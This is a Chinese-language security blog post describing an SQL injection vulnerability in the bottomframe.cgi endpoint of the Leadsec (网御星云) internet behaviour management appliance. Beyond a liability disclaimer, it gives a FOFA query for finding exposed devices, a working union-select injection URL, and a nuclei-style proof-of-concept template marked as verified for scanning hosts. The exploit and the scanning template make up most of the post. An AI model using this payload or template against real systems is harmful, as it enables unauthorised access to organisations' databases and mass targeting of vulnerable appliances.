网御星云-上网行为管理系统bottomframe.cgi接口存在SQL注入

Myth丶恋晨 2024-05-23 14:16 23阅读 0赞

### 一、免责声明： ###

本次文章仅限个人学习使用，如有非法用途均与作者无关，且行且珍惜；由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号望雪阁及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除整改并向您致以歉意。谢谢！

### 二、产品介绍： ###

![图片][5ee94feda8974cf99f151b2a4e08fc53.png]

### 三、资产梳理： ###

app="网御星云-上网行为管理系统"

### 四、漏洞复现： ###

http://xxx.xxx.xxx/bottomframe.cgi?user_name=%27))%20union%20select%20database()%23

![图片][e186a1420ef34ada9084a54e802faa1b.png]

### 五、POC： ###

![图片][0fc7de9263da48bbb7ff8a87e505c60a.png]

id: Leadsec_ACM_sql
    info:
      name: Leadsec_ACM_sql
      author: joyboy
      severity: critical
      description: http://xxx.xxx.xxx/bottomframe.cgi?user_name=%27))%20union%20select%20database()%23
      metadata:
        max-request: 1
        fofa-query: app="网御星云-上网行为管理系统"
        verified: true
      tags: Leadsec_ACM
    
    requests:
      - raw:
          - |-
            GET /bottomframe.cgi?user_name=%27))%20union%20select%20database()%23 HTTP/1.1
            Host: {
        {
        Hostname}}
    
        req-condition: true
        matchers:
          - type: dsl
            condition: and
            dsl:
              - 'contains((body), "NTC") && status_code == 200'

[5ee94feda8974cf99f151b2a4e08fc53.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/72985ae4819e4beaafc29420a0a13491.png
[e186a1420ef34ada9084a54e802faa1b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/22d75d0290154a6080850f68697df7ac.png
[0fc7de9263da48bbb7ff8a87e505c60a.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/9ee451902c574e93a2119e08de02925e.png